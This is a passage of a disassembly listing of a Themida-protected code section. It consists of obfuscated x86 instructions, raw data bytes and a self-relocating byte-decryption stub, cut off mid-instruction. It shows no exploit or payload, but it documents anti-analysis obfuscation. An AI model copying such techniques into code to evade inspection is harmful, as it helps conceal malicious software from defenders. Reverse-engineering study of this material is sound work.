0BB53FFFFh, 2, 6CE9DE29h dd 0BEFFFFDFh, 3B2659D1h, 0FFCD7BE9h, 243433FFh, 24048F5Ch dd 0FF4EE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E38D: ; CODE XREF: Themida_:0050389Cj xor edi, ebx xor ebx, edi xor edi, ebx jmp loc_507725 ; --------------------------------------------------------------------------- loc_50E398: ; CODE XREF: Themida_:0050D13Aj push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_504E49 ; --------------------------------------------------------------------------- aSXaIaD0 db 'S³x€Ë‰€Ã¤0Ø[',0 db 0C2h dd 0E924048Bh, 0FFFFB310h, 0F0BB53ADh, 16F8F1Dh, 15E95BDEh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E3CF: ; CODE XREF: Themida_:0050AF60j mov esi, edi jmp loc_505D56 ; --------------------------------------------------------------------------- dw 0C629h dd 5124048Bh, 0C181E189h, 4, 4C181h, 1AE90000h, 55FFFF6Eh dd 5D2414F7h, 0D6A8ED81h, 12E9E3F6h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E3FF: ; CODE XREF: Themida_:00504612j or eax, eax jz loc_50D099 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_5073FF ; --------------------------------------------------------------------------- dw 895Ch dd 0EC81242Ch, 4, 0BA241489h, 66FB6C13h, 0F7D2F74Ah, 0B9C281D2h dd 89A23F08h, 24148BD5h, 5E08950h, 4, 405h, 24048700h dd 0FFE706E9h, 8AC681FFh, 2912C567h, 8AEE81DEh, 0E912C567h dd 0FFFFF8F4h ; --------------------------------------------------------------------------- loc_50E45C: ; CODE XREF: Themida_:00505D23j mov [esp], ebp push dword ptr [esp+4] jmp loc_50892B ; --------------------------------------------------------------------------- dd 4C481h, 0BF570000h, 45A43D5Eh, 69EB81h, 0FB0129EDh dd 60D2E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E482: ; CODE XREF: Themida_:00503A5Ej push ecx pop ebx jmp loc_50ECBE ; --------------------------------------------------------------------------- db 68h, 3Bh, 19h dd 0E9594293h, 0FFFF989Eh ; --------------------------------------------------------------------------- loc_50E494: ; CODE XREF: Themida_:005068EEj mov esi, ebp pop ebp jmp loc_50B926 ; --------------------------------------------------------------------------- dd 0E9241487h, 0FFFFF8A3h ; --------------------------------------------------------------------------- loc_50E4A4: ; CODE XREF: Themida_:0050E105j or edx, eax shl edx, 1 push ebx push edx jmp loc_50D773 ; --------------------------------------------------------------------------- db 29h dd 986FE9D8h, 8850FFFFh, 0A711E9E8h, 0BE66FFFFh, 0D3E96CEFh dd 81FFFF54h, 20E52434h, 815B63B9h, 0B920E5F3h, 2434FF63h dd 9127E95Fh, 11B9FFFFh, 8145EE4Fh, 343405C1h, 0BA92E942h dd 0BE56FFFFh, 4, 815EF389h, 863C4EAh, 0E12CE93Ch, 3487FFFFh dd 6DE95C24h, 1FFFF99h, 7B685DE8h, 89000004h, 4BD242Ch dd 1000000h, 0EAE95DE8h, 5FFFFFD9h, 1CA0C181h, 0C10126C8h dd 1CA0E981h, 0C18126C8h, 375267B3h, 0FF8605E9h, 242C89FFh dd 4EC81h, 0E9540000h, 0FFFFBF8Ch, 662CC580h, 59EF085Bh dd 40E95066h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E55B: ; CODE XREF: Themida_:0050D65Fj push edi jmp loc_508C7B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 88241C89h, 0DC8850E3h, 0FFA87BE9h, 3C8B54FFh, 4C48324h dd 766EB951h, 0C1817363h, 7A142E9h, 5CE9E181h, 0E18144E6h dd 4D7A0867h, 7BE6C981h, 0C1810AD8h, 2B51004Bh, 7C36F181h dd 68E97629h, 53FFFF8Ah, 0FF64B6E9h, 0D830ACFFh, 8904EC83h dd 0C9B22414h, 5ECE9h, 81F32900h, 7F0446EBh, 1C875E5Ah dd 24248B24h, 0E9241489h, 0FFFFE3AFh, 0E92434FFh, 0FFFF9771h ; --------------------------------------------------------------------------- loc_50E5DC: ; CODE XREF: Themida_:0050706Cj push dword ptr [esp] pop eax jmp loc_504A33 ; --------------------------------------------------------------------------- aAVse db '€ê‚é…',0Dh,0 dd 2AFABB00h, 0C3815BB7h, 0A1E23AFh, 0FF925EE9h, 583F68FFh dd 8F540000h, 0E9E92404h, 81FFFFFCh, 0FB3C98EEh, 51CE2950h dd 0FB3C98B9h, 59CE0150h, 0F7C28159h, 0E96A732Ch, 0FFFF4E9Ah dd 0BA241489h, 29E90A36h, 0FF49C0E9h, 4EC83FFh, 51241489h dd 0FFDA56E9h, 241C33FFh, 6624248Bh, 0E9240C89h, 0FFFF451Eh dd 4C381h, 1C870000h, 0D8055C24h, 506E62Ah, 3CDA5981h dd 1E3E68h, 24148900h, 0F22777BAh, 75CE93Eh, 81660000h dd 590807C5h, 0FFAB66E9h, 242C31FFh, 0E9242C33h, 0FFFF754Fh dd 65E94704h, 8BFFFF96h, 0C483241Ch, 0FC33004h, 8B66C0B6h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 7E76h mov [esp], edx jmp loc_50DD78 ; --------------------------------------------------------------------------- dd 240C8966h, 0EC287BB5h, 0FF9618E9h, 6E7AB9FFh, 0CD2169FBh dd 0E1CD8159h, 8102E837h, 0DBC76FC5h, 470D2D10h, 0E8295DAAh dd 0FF5D98E9h, 34895CFFh, 7EE95424h, 53FFFFC0h, 0C381E389h dd 4, 4BA52h, 0D3290000h, 241C875Ah, 69DE9h, 0EC81AC00h dd 4, 0B1240C89h, 8BC82820h, 0C481240Ch, 4, 0E6E9D828h dd 0FFFFFFC8h, 2C8B2434h, 0E6895624h, 4C681h, 0BB530000h dd 4, 1C8BDE01h, 0E4E924h, 0E7890000h, 4C781h, 8680000h dd 89000041h, 1C682404h, 89000008h, 0D9BD242Ch, 0B80A7B23h dd 0F584DC2Bh, 30492C05h, 6795E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E772: ; CODE XREF: Themida_:00504C07j not esi shl esi, 1 xor esi, 56080332h add eax, esi pop esi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_50BE39 ; --------------------------------------------------------------------------- loc_50E792: ; CODE XREF: Themida_:0050343Dj sub eax, 1BFD3FAFh mov edx, [esp] push edi mov edi, esp jmp loc_50388B ; --------------------------------------------------------------------------- dw 4481h dd 63090824h, 36E93FE2h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E7AF: ; CODE XREF: Themida_:00503FD6j mov eax, esp add eax, 4 push 7349h mov [esp], edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] jmp loc_5056F3 ; --------------------------------------------------------------------------- dw 0F581h dd 70423B67h, 2C8BEF89h, 4C48324h, 0FCFCE951h, 8A2DFFFFh dd 551D2974h, 780828BDh, 77E58104h, 81508D32h, 750C41C5h dd 61E58101h, 4D2B9879h, 0FFFBEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E805: ; CODE XREF: Themida_:00505155j mov [esp], ecx jmp loc_506380 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0FF24248Bh, 0C8B2434h, 4C48324h, 0FF8CFCE9h, 48F59FFh dd 4F91E924h, 0C481FFFFh, 4, 31243433h, 34332434h, 0C4815C24h dd 4, 54A468h, 243C8900h, 636A88BFh, 7EFC160h, 1666BB53h dd 0E94B4B72h, 0FFFFA294h, 335DEA01h, 92E92414h, 5CFFFFC0h dd 50241489h, 42FCE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E872: ; CODE XREF: Themida_:0050454Fj mov edi, 0A49019Dh and edi, 77BE3D0Ah jmp loc_507A98 ; --------------------------------------------------------------------------- dw 0F680h dd 0FECE80F6h, 0B551EED0h, 80C5FEA5h, 0EE28A3F5h, 0F8EE8059h dd 0E95AF430h, 0FFFF4475h, 0C3E95259h, 51FFFFF5h, 42474FFh dd 24048F59h, 0FF4C24E9h, 24348BFFh, 4C481h, 0EC830000h dd 24148904h, 42474FFh, 24048F5Ah, 8966645Ch, 4298E902h dd 0CB81FFFFh, 3E922318h, 10F4CB81h, 0D3F76E40h, 5F7E381h dd 42E92808h, 33FFFF83h, 4312404h, 24043324h, 4EC815Ch dd 0E9000000h, 0FFFFC8CDh, 46D0CB81h, 0BF573713h, 185D124Eh dd 5DCCC781h, 0F7811BE7h, 79C535DFh, 0D3E9DFF7h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E923: ; CODE XREF: Themida_:0050F13Fj pop ebx jmp loc_50B36C ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C0h dd 0E987048Fh, 0FFFF423Ah, 0AB0FAD2Dh, 58C1017Eh, 3302C183h dd 0C31240Ch, 240C3324h, 6624248Bh, 9C2424D3h, 0FF4219E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E955: ; CODE XREF: Themida_:005099F0j or esi, 31C84318h jmp loc_50D194 ; --------------------------------------------------------------------------- dd 0F7B353ACh, 0FF62F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E969: ; CODE XREF: Themida_:00509C5Fj not edi neg edi add edi, 28AC37BDh mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_50DCA8 ; --------------------------------------------------------------------------- dd 0FF41E9E9h, 1EF281FFh, 0C14C6B31h, 0D2F707EAh, 0EA81DAF7h dd 9AC527h, 148BD101h, 4C48324h, 73EFE950h, 0C281FFFFh dd 0BBC6CF5Bh, 0D15AD089h, 35E8D1E0h, 23E30505h, 48BC501h dd 4C48124h, 81000000h, 2C5h, 242C8700h, 409665Ch, 97E99C24h dd 81FFFF41h, 4C4h, 52535A00h, 0BF273768h, 0D2F75A40h dd 0E2C1EAD1h, 0B7C28105h, 8165D81Ah, 0DE0CAFF2h, 2C81527Ah dd 0CF297024h, 0EF6CE90Ah, 0E952FFFFh, 0FFFF729Bh, 2004E828h dd 240C8B66h, 2C481h, 0B6520000h, 6EEC05Bh, 0F610C680h dd 7C58E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EA2A: ; CODE XREF: Themida_:00509053j pop edx mov ecx, 0B7558E30h jmp loc_50B466 ; --------------------------------------------------------------------------- db 83h, 0C5h, 2 dd 203268h, 242C8900h, 0FF9D92E9h, 5954B8FFh, 4C0D279Bh dd 352B524Fh, 6C071178h, 0D7E9C529h, 1FFFF6Dh, 0BB2BE9EAh dd 0BB53FFFFh, 16312B08h, 545DCB81h, 0E9430967h, 0FFFF951Dh dd 53243489h, 0BA5CBABBh, 5BDE8944h, 5CD6B850h, 0D8F77866h dd 105h, 2E0C100h, 0C102E8C1h, 560507E8h, 896D4A3Ch, 0F73158C7h dd 0A2D9E95Eh, 0E789FFFFh, 36A5B951h, 0B8506C47h, 5E9B5E87h dd 3D2E9h, 68525100h, 1, 5AD1895Ah, 0FFD205E9h, 0DF0159FFh dd 252E9h, 3E5C100h, 0FFDD31E9h, 0B6852FFh, 8B16585Bh dd 0C4812414h, 4, 0FFFFB850h, 0C229FFFFh, 0A8E95358h, 68FFFF7Fh dd 1F8073F8h, 0FF84A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EB01: ; CODE XREF: Themida_:005046FCj push edx jmp loc_503DC2 ; --------------------------------------------------------------------------- db 5 dd 0FC459889h, 0FFA46AE9h, 5DE829FFh, 2542BB35h, 0C075E947h dd 0BA52FFFFh, 0FEC4E46h, 4ED2CA81h, 0EAC11D79h, 0C8CA8106h dd 8151750Dh, 0AE2985C2h, 81EAD13Eh, 0AD3DFEEAh, 5AD631B1h dd 815EF201h, 0D1537EEAh, 0FFD031CDh, 148B2434h, 4C48324h dd 0FF783AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50EB5D: ; CODE XREF: Themida_:005093D2j push esi mov esi, 74416562h sub esi, 3A9B3F1Ch sub esi, 6A1851D4h jmp loc_506D3C ; --------------------------------------------------------------------------- dd 73AAE381h, 0CB817C9Dh, 3F52F15h, 0FF6A7DE9h, 12E94DFFh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EB8B: ; CODE XREF: Themida_:0050C591j add eax, 1 add eax, 33945E5Fh sub eax, 6D3AA690h mov ebx, eax pop eax sub [edi+24h], ebx pop ebx loc_50EBA1: ; CODE XREF: Themida_:005047C0j push edi mov edi, esp jmp loc_50AF65 ; --------------------------------------------------------------------------- db 0FEh, 0CAh, 80h dd 0E2800ECAh, 0B87EE9DFh, 0FF55FFFFh, 5D042474h, 0FF4E53E9h dd 240C89FFh, 1C6B68h, 24248900h, 0FF5695E9h, 1C77FFFFh dd 6658669Dh, 9C240411h, 0FF3F8DE9h, 59E468FFh, 3C890000h dd 0F09DE924h, 8166FFFFh, 66DD30F3h, 665BD989h, 665DE931h dd 9BB86650h, 0C109665Ah, 31E95866h, 81FFFF85h, 4C4h, 4EC8100h dd 89000000h, 1BB82404h, 55403932h, 2D47D9BDh, 82B9516Bh dd 81563379h, 685888C1h, 0E9414140h, 0FFFF73B7h, 8904EC83h dd 41BF243Ch, 5506B664h, 0FFE525E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EC49: ; CODE XREF: Themida_:005067C6j mov [esp], edx mov dl, 5Dh mov bl, 38h jmp loc_50BD1D ; --------------------------------------------------------------------------- db 1, 0C2h, 81h dd 0FB1D8BEAh, 0E1C2812Dh, 8162B537h, 4C4566C2h, 3F00E95Fh dd 483FFFFh, 505D0424h, 4B8h, 0ECE95600h, 52FFFF70h, 0FFEDF2E9h dd 9BF680FFh, 305AF328h, 2434FFD8h, 4C4815Bh, 0E9000000h dd 0FFFF952Bh, 5E08950h, 4, 405h, 24048700h, 21ED805Ch dd 8059EE88h, 0C680D2F6h, 84F4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ECBE: ; CODE XREF: Themida_:0050E484j pop ecx and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 6 push ebx jmp loc_50C415 ; --------------------------------------------------------------------------- dd 0C000E950h, 3C31FFFFh, 0ABE5E924h, 4BBFFFFh, 81000000h dd 567EADC1h, 53D92931h, 0FF82C7E9h, 4FCCBDFFh, 0D5F77C93h dd 6183ED81h, 0BE565660h, 5A0469AAh, 0FFCCADE9h, 243C87FFh dd 6624248Bh, 66240C89h, 22474FFh, 8F665966h, 0B5E92404h dd 5BFFFF88h, 3C8BF931h, 4C48124h, 52000000h, 3890BD55h dd 2B681496h, 0E9000043h, 0FFFFDAD8h, 66241C89h, 664248BBh dd 540DE381h, 0FF8539E9h db 0FFh ; --------------------------------------------------------------------------- loc_50ED51: ; CODE XREF: Themida_:00505DE4j and ecx, ebp pop ebp jmp loc_504AD8 ; --------------------------------------------------------------------------- db 81h, 0C2h, 61h dd 815E0171h, 9E7142EAh, 0BFDBE969h, 32FFFFFFh, 0FF3DFDE9h dd 2434FFFFh, 8B2434FFh, 0E9522414h, 0FFFF8408h, 40E9F801h dd 8BFFFF6Bh, 8952240Ch, 0F049E9E2h, 0DC30FFFFh, 0E9E1305Bh dd 0FFFF42C0h, 0FE5AD020h, 0EDBEE9C8h, 895CFFFFh, 0E189240Ch dd 4C181h, 0F1E90000h, 68FFFFDDh, 2A7Eh, 0BB241C89h, 51B20F5h dd 24148753h, 1487D2F7h, 0C0E5E924h, 0FF52FFFFh, 34FF2404h dd 0C4815A24h, 4, 0FF4E41E9h, 0E38953FFh, 6197B850h, 9E93F11h dd 5AFFFF69h, 2C581h, 0FF550000h, 0E9042474h, 0FFFF524Dh ; --------------------------------------------------------------------------- loc_50EE04: ; CODE XREF: Themida_:0050C794j sub edi, 2BF611D1h mov ecx, edi pop edi add ecx, 1 jmp loc_50B5DD ; --------------------------------------------------------------------------- loc_50EE18: ; CODE XREF: Themida_:005076CFj pop edx jmp loc_50BF89 ; --------------------------------------------------------------------------- dw 0B60Fh dd 8734FFC0h, 0E9E08950h, 0FFFFD6C4h, 4C481h, 81580000h dd 0BA078AEEh, 81DE015Dh, 0BA078AC6h, 0B8505B5Dh, 5A666EBDh dd 6858C629h, 620h, 56242C89h, 0BEh, 0E9F58900h, 0FFFF4B0Dh ; --------------------------------------------------------------------------- loc_50EE60: ; CODE XREF: Themida_:00505A41j xchg edi, [esp] jmp loc_505BF2 ; --------------------------------------------------------------------------- dd 33241C31h, 895C241Ch, 22E92414h, 5CFFFF82h, 66E1F766h dd 665BF868h, 66241489h, 0E3E99C50h, 0DFFFF3Ch, 14E9556Eh dd 0CB47C12Dh, 35D0F777h, 0B11A2B7h, 4958C129h, 3239C181h dd 0F1812634h, 7E9D2373h, 2CCDC781h, 0CF0160B8h, 2CCDEF81h dd 90E960B8h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EEBF: ; CODE XREF: Themida_:00506F91j push bx mov bl, 0C7h jmp loc_5088AC ; --------------------------------------------------------------------------- dd 4B9515Ah, 51000000h, 0FF811BE9h, 2DE829FFh, 63AD36C4h dd 0FF5E45E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EEE1: ; CODE XREF: Themida_:0050E113j add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 jmp loc_50DE3B ; --------------------------------------------------------------------------- db 81h dd 9037A3F5h, 40A4E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EF02: ; CODE XREF: Themida_:0050DAD5j xchg ebp, [esp] pop esp mov [esp], ebx pop edi sub esp, 4 jmp loc_509A81 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 242C8B50h, 81E38953h, 4C3h, 4C38100h, 0E9000000h dd 0FFFFA912h, 8124048Bh, 4ECh, 240C8900h, 240C8B54h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50BFBD ; --------------------------------------------------------------------------- loc_50EF48: ; CODE XREF: Themida_:0050CEB3j jmp loc_502B6E ; --------------------------------------------------------------------------- loc_50EF4D: ; CODE XREF: Themida_:00508A25j push ebp mov ebp, 7BB949D8h xor ebp, 444B7A92h jmp loc_50AFDA ; --------------------------------------------------------------------------- dw 5E54h dd 0BD555755h, 0D420951h, 3FE6C581h, 0AFE964BFh, 29FFFFB2h dd 8159240Ch, 0AD3DC2C9h, 0EF49E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EF82: ; CODE XREF: Themida_:00508926j mov [esp], ebp push 29440978h mov ebp, [esp] add esp, 4 shl ebp, 4 shl ebp, 3 not ebp inc ebp not ebp push 7EDFh mov [esp], ecx mov ecx, 20B611Fh neg ecx xor ecx, 0DA95D0FCh not ecx jmp loc_506611 ; --------------------------------------------------------------------------- db 0FFh dd 34FF3C77h, 24048B24h, 5104C483h, 8904EC83h, 4812424h dd 424h, 8837E900h, 0C483FFFFh, 4BA5204h, 5000000h, 3F43302Eh dd 2E2DD001h, 0E93F4330h, 0FFFF6FA2h, 0C781E789h, 4, 0FFFA65E9h dd 2434FFFFh, 81240C8Bh, 4C4h, 3CC96800h, 4890000h, 5E08924h dd 4, 4BB53h, 0D8010000h, 2404875Bh, 5BF575Ch, 0F735E330h dd 6EFC1D7h, 8107EFC1h, 624EB7C7h, 81BE5628h, 1442635h dd 2434FFF0h, 5284E95Eh, 55ADFFFFh, 0FF862EE9h, 4C483FFh dd 0FF670EE9h, 4F000FFh, 202C5A72h, 2004D800h, 0FF405CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F069: ; CODE XREF: Themida_:005066B7j sub eax, 697164FAh add esi, eax pop eax push eax jmp loc_5073E1 ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 0FFFEDDE9h, 4C483FFh, 0FF598AE9h, 4CE95DFFh dd 59FFFF41h, 0E951575Dh, 0FFFFF3F1h, 0B73EB252h, 8BD730E9h dd 0E6E92414h, 58FFFF8Ch, 145E9h db 0 ; --------------------------------------------------------------------------- loc_50F0AD: ; CODE XREF: Themida_:0050C6E4j xor dh, 2Fh mov ch, dh pop edx sub al, ch jmp loc_5073B6 ; --------------------------------------------------------------------------- loc_50F0BA: ; CODE XREF: Themida_:0050A200j mov ebp, [esp] add esp, 4 jmp loc_50A03D ; --------------------------------------------------------------------------- db 89h, 0E1h, 0E9h dd 0FFFF9025h, 24048B66h, 0FF4ED1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F0D5: ; CODE XREF: Themida_:0050F27Ej add al, bh sub al, 9Eh sub al, 0C7h jmp loc_50F25A ; --------------------------------------------------------------------------- dd 0E945DDF7h, 0FFFFA146h, 5EBE5650h, 2945A43Dh, 8B042474h dd 0C4832434h, 2434FF04h, 81241C8Bh, 4C4h, 0F35EE900h dd 0F181FFFFh, 9F79F25Ch, 0DA9EB7BBh, 59CB295Bh, 18E9DF31h dd 1FFFF69h, 0E7C3E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F126: ; CODE XREF: Themida_:0050691Fj xor [esp], ebx xor ebx, [esp] xor [esp], ebx xchg edx, ebx not edx xchg edx, ebx sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_50E923 ; --------------------------------------------------------------------------- loc_50F144: ; CODE XREF: Themida_:0050657Fj pop edx mov ebp, esi mov esi, [esp] add esp, 4 and eax, ebp jmp loc_503C03 ; --------------------------------------------------------------------------- dd 73D1E950h, 68FFFFh, 0E973DB09h, 0FFFF59D6h, 24048B66h dd 0FF4AD8E9h, 8EAC1FFh, 871FEA81h, 0D0898271h, 0E9D8F75Ah dd 0FFFFF1A8h ; --------------------------------------------------------------------------- loc_50F180: ; CODE XREF: Themida_:00507856j pop esi xor esi, ecx xor ecx, esi xor esi, ecx jmp loc_50D215 ; --------------------------------------------------------------------------- loc_50F18C: ; CODE XREF: Themida_:00502E8Ej add eax, 777079A4h push edi push ebp push 0FECh mov [esp], esi push 71543CBCh pop esi shl esi, 7 jmp loc_50AD67 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 81h dd 3973E4F6h, 690DE93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F1B6: ; CODE XREF: Themida_:0050AB39j mov ecx, 1A600CEh add ecx, 0FE59FF36h add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp and eax, edi mov edi, [esp] add esp, 4 shr eax, 10h xor eax, ecx push eax xchg eax, [esp] jmp loc_5048FF ; --------------------------------------------------------------------------- loc_50F1E4: ; CODE XREF: Themida_:00506BA4j add esp, 4 and eax, ecx push dword ptr [esp] pop ecx jmp loc_505224 ; --------------------------------------------------------------------------- dw 0B252h dd 3DF280FCh, 0FF8461E9h, 242C89FFh, 0B420EBDh, 8BE9312Fh dd 64E9242Ch, 89FFFFD4h, 4C281E2h, 83000000h, 0E95202C2h dd 0FFFF936Ch, 0C231C331h, 0FF3945E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F229: ; CODE XREF: Themida_:00506412j xor edx, [esp] xor [esp], edx push edx push edi pop edx jmp loc_5068F3 ; --------------------------------------------------------------------------- db 66h dd 0E96AB151h, 0FFFF8639h, 120E952h, 0C6810000h, 6DF20882h dd 0FF3FDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F251: ; CODE XREF: Themida_:005054A3j mov bh, 0E6h mov ah, bh jmp loc_503BF3 ; --------------------------------------------------------------------------- loc_50F25A: ; CODE XREF: Themida_:0050F0DBj mov bx, [esp] add esp, 2 add bl, 8Ah add bl, al jmp loc_50A3A0 ; --------------------------------------------------------------------------- loc_50F26E: ; CODE XREF: Themida_:005088BBj mov esi, [esp] jmp loc_5089F1 ; --------------------------------------------------------------------------- loc_50F276: ; CODE XREF: Themida_:005088B2j add esp, 2 add al, 9Eh jmp loc_50F0D5 ; --------------------------------------------------------------------------- db 0B9h dd 4, 457AC381h, 0CB012BD7h, 457AEB81h, 81592BD7h, 4EBh dd 241C8700h, 8924248Bh, 0A7E9242Ch db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F2AB: ; CODE XREF: Themida_:0050BA3Fj push 74B4h mov [esp], edx mov eax, [esp] add esp, 4 jmp loc_50B167 ; --------------------------------------------------------------------------- loc_50F2C1: ; CODE XREF: Themida_:00502DFFj add edi, ebx pop ebx jmp loc_505BC4 ; --------------------------------------------------------------------------- db 59h, 1, 0CBh dd 7FD8EB81h, 0C8B4C1Eh, 4C48324h, 3302C383h, 1C31241Ch dd 241C3324h, 0F1F7665Ch, 0FFBF3AE9h, 1739BBFFh, 0EB81626Bh dd 1A2F6012h, 0FF4F9CE9h, 0C48159FFh, 4, 4C481h, 1DE90000h dd 81FFFF86h, 0C1A43BC5h, 52EE81A6h, 121B525h, 52C681EEh dd 5D21B525h, 0E9243487h, 0FFFF3E0Dh, 0E1814149h, 7651502h dd 0EDEBE981h, 0C981D7C2h, 1D51730Dh, 0FF717BE9h, 2434FFFFh dd 8B2434FFh, 89562404h, 4C681E6h, 83000000h, 348704C6h dd 0C4835C24h, 40E2E904h, 4BAFFFFh, 1000000h, 7CCCE9D5h dd 0D130FFFFh, 0D4C1805Ah, 8033C980h, 8853F0C1h, 5BFE88CFh dd 53CEFE59h, 0FF6F46E9h, 24048FFFh, 4240483h, 68565359h dd 15A14F3Eh, 4EEC15Eh, 14F7F681h, 0F0E9015Ah, 0FFFFA0h dd 8BFE04E8h, 8957240Ch, 4C781E7h, 83000000h, 3C8704C7h dd 20685C24h, 0E9000041h, 0FFFFD993h ; --------------------------------------------------------------------------- loc_50F3CC: ; CODE XREF: Themida_:0050D59Cj push 1832h jmp loc_50A47B ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24048904h, 0FF5772E9h, 0FFA768FFh, 2DA844FFh dd 24E9FAh, 56FC2A00h, 0FEAAA000h, 56AFC67Fh, 0EA2AA000h dd 207FAh, 200h, 100h, 300h, 2DA84400h, 0FAh, 4 dup(0) dd 51EED500h, 520D7900h, 51300600h, 523D5E00h, 50FC0100h dd 512AA400h, 521E8C00h, 51060B00h, 520F0C00h, 51FAD000h dd 52380300h, 5212D800h, 51A46800h, 51E7FA00h, 517D7700h dd 52228000h, 5169EB00h, 520EB400h, 51207800h, 52410300h dd 51A24000h, 51B2FF00h, 50FAB000h, 515A8A00h, 51505000h dd 5239A500h, 51B38900h, 515BBC00h, 524DDE00h, 51519200h dd 51F2ED00h, 51B7E300h, 5237CB00h, 51E41600h, 51FCAC00h dd 51615900h, 51D16C00h, 523C0700h, 510F3B00h, 51054B00h dd 5133B000h, 515D4A00h, 50FC5100h, 518FB200h, 519BE000h dd 51EA6000h, 5111CE00h, 51FBA200h, 51718300h, 51C33700h dd 51C80A00h, 52069A00h, 52059E00h, 51438400h, 51C5C200h dd 51330300h, 523E7900h, 5118E100h, 512A7000h, 5179F000h dd 522FC900h, 51C12300h, 51BA5B00h, 51B78F00h, 515E0E00h dd 5170E000h, 51233900h, 51C78800h, 5181B100h, 51AB4600h dd 521F7300h, 52485200h, 517E5A00h, 5197F800h, 51BE3700h dd 51527E00h, 520A7200h, 5161DB00h, 5213CB00h, 51908F00h dd 50FE7600h, 521CAF00h, 51873900h, 51468F00h, 51308900h dd 50FECF00h, 5146E500h, 5233FA00h, 51A1BD00h, 51226700h dd 51EB0700h, 51A88200h, 513FEF00h, 51076A00h, 51790B00h dd 523DFB00h, 50F89600h, 50FB4A00h, 5171E500h, 51152400h dd 51FF6900h, 51E62C00h, 50F81A00h, 51091C00h, 518B3100h dd 514BC300h, 51F8E000h, 51586800h, 51EFCA00h, 51DBFC00h dd 51FE9500h, 5136D500h, 514DAC00h, 5157AF00h, 52415200h dd 51DE5500h, 51CB4C00h, 51E68E00h, 524F4600h, 51B8B500h dd 522BF000h, 51E1AD00h, 516E6700h, 51067800h, 51C42300h dd 52387600h, 51426B00h, 51A8B200h, 52076800h, 514EC000h dd 52393F00h, 513A0C00h, 51839300h, 51DB7800h, 517B9900h dd 51698500h, 52332000h, 519AB000h, 51836000h, 516CEA00h dd 522CBA00h, 52302D00h, 51BEA900h, 512AE500h, 51914900h dd 51232000h, 51CB4400h, 522CDF00h, 520B7C00h, 51EBEC00h dd 513F8E00h, 5160AB00h, 51C09300h, 516A3300h, 52396900h dd 523AA200h, 519E7200h, 513FD500h, 523D4000h, 51216D00h dd 51513300h, 51A6C700h, 51F03100h, 517BDF00h, 51EC5300h dd 51952E00h, 51F0A700h db 0 ; --------------------------------------------------------------------------- loc_50F6C5: ; CODE XREF: Themida_:005598DDj ; Themida_:0055FC9Ej ... pusha pushf cld call $+5 pop edi sub edi, 6234E89h mov eax, edi add edi, 6234BA1h cmp eax, [edi+2Ch] jnz short loc_50F6E3 jmp short loc_50F6F6 ; --------------------------------------------------------------------------- loc_50F6E3: ; CODE XREF: Themida_:0050F6DFj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_50F6F2 ; --------------------------------------------------------------------------- loc_50F6ED: ; CODE XREF: Themida_:0050F6F4j add [edi+ecx*4+40h], eax dec ecx loc_50F6F2: ; CODE XREF: Themida_:0050F6EBj or ecx, ecx jnz short loc_50F6ED loc_50F6F6: ; CODE XREF: Themida_:0050F6E1j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_50F703: ; CODE XREF: Themida_:0050F70Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_50F703 loc_50F70C: ; CODE XREF: Themida_:0050FD89j ; Themida_:00510503j ... lodsb xor al, bl sub esp, 4 mov [esp], ecx mov cl, 0D3h not cl sub cl, 0D7h sub al, 1Ah push edx mov dl, 8Ah add al, dl jmp loc_51C93B ; --------------------------------------------------------------------------- dd 2434FF5Eh, 27D8E95Ah db 1, 0 ; --------------------------------------------------------------------------- loc_50F732: ; CODE XREF: Themida_:005103C0j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub 